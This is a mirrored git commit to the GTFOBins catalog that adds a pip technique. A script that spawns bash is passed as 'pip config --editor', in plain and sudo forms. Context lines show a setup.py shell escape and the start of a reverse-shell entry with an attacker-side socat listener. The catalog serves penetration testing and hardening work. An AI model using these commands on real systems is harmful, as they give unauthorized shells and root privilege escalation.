mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Include pip config --editor option which allows execution of arbitrary files
This commit is contained in:
parent
9ec64ef195
commit
aaefb9a397
@ -5,6 +5,10 @@ functions:
|
|||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
||||||
pip install $TF
|
pip install $TF
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
printf '#!/bin/bash\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh
|
||||||
|
pip config --editor $TF/pwn.sh edit
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
@ -70,4 +74,8 @@ functions:
|
|||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
||||||
sudo pip install $TF
|
sudo pip install $TF
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
printf '#!/bin/bash\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh
|
||||||
|
sudo pip config --editor $TF/pwn.sh edit
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user